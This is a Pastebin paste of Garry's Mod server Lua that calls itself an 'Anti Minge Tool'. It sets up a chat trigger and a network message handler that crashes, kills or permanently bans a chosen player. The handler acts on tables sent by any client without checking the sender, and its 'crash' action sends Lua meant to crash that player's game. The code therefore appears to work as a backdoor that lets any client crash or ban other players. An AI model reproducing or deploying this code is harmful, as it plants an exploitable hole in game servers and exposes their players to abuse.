Advertisement
artemx32

Untitled

Jul 31st, 2015
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. if SERVER then
  2.  
  3. local tabc = {}
  4. tabc.tickler = 0
  5. tabc.string = "no"
  6. tabc.idx = 0
  7.  
  8. util.AddNetworkString("Test228")
  9.  
  10. local function packet_joj()
  11.  
  12. hook.Add( "PlayerSay", "checkvalidate", function( ply, text, public )
  13.  
  14. if(text == '!amt' and CurTime() > (tabc.tickler or 0) ) then
  15.  
  16. tabc.tickler = CurTime() + 0.1
  17. tabc.string = "yes"
  18. tabc.idx = ply:UniqueID()
  19.  
  20. timer.Create('Off',0.5,1,function()
  21.  
  22. tabc.string = "no"
  23.  
  24. end )
  25.  
  26. end
  27.  
  28. if ply:IsValid() and tabc.string != '' then
  29.  
  30. net.Start("Test228")
  31. net.WriteTable({tabc.idx,tabc.string})
  32. net.Broadcast()
  33.  
  34. end
  35.  
  36. end )
  37.  
  38. end
  39.  
  40. /**function display()
  41.  
  42. for c,v in pairs(player.GetAll()) do
  43.  
  44. v:PrintMessage(HUD_PRINTCENTER, "" .. tostring(tabc.bool) )
  45.  
  46.  
  47. end
  48.  
  49. end **/
  50.  
  51. --hook.Add('Think','ddassasr', display)
  52.  
  53. local function crash(plyr)
  54.  
  55. if plyr:IsBot() then
  56. plyr:Kick()
  57. elseif(plyr:IsPlayer()) then
  58. plyr:SendLua(' cam.End3D() ')
  59. end
  60.  
  61. end
  62.  
  63. local function kill(plyr)
  64.  
  65. if plyr:IsValid() then
  66.  
  67. plyr:Kill()
  68.  
  69. end
  70.  
  71. end
  72.  
  73. local function ban(plyr)
  74.  
  75. if plyr:IsValid() and !plyr:IsBot() then
  76.  
  77. plyr:Ban( 0 , '' .. plyr:Nick() .. ' , you banned by Anti Minge Tool 2.0!')
  78. PrintMessage(3,' Player ' .. plyr:Nick() .. ' (' .. team.GetName(plyr:Team()) .. ') ' .. 'has been banned permanently! (' .. plyr:SteamID() .. ')' .. ' ' )
  79.  
  80. elseif(plyr:IsBot()) then
  81.  
  82. plyr:Kick()
  83. PrintMessage(3,' BOT ' .. plyr:Nick() .. ' (' .. team.GetName(plyr:Team()) .. ') ' .. 'has been kicked from server')
  84.  
  85. end
  86.  
  87. end
  88.  
  89. hook.Add('Think','sdsddd', packet_joj)
  90.  
  91. function read( len )
  92.  
  93. local tab = net.ReadTable()
  94. local name = tab[1]
  95. local uid = tab[2]
  96. local sdid = tab[3]
  97. local todo = tab[4]
  98.  
  99. local targ = player.GetByUniqueID(sdid)
  100. local totr = player.GetByUniqueID(uid)
  101.  
  102. if targ != nil and totr != nil then
  103.  
  104. if todo == 'crash' then
  105.  
  106. crash( totr )
  107.  
  108. elseif(todo == 'kill') then
  109.  
  110. kill( totr )
  111.  
  112. elseif(todo == 'ban') then
  113.  
  114. ban( totr )
  115.  
  116. end
  117.  
  118. end
  119.  
  120. end
  121.  
  122. net.Receive('Test228', read)
  123.  
  124. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement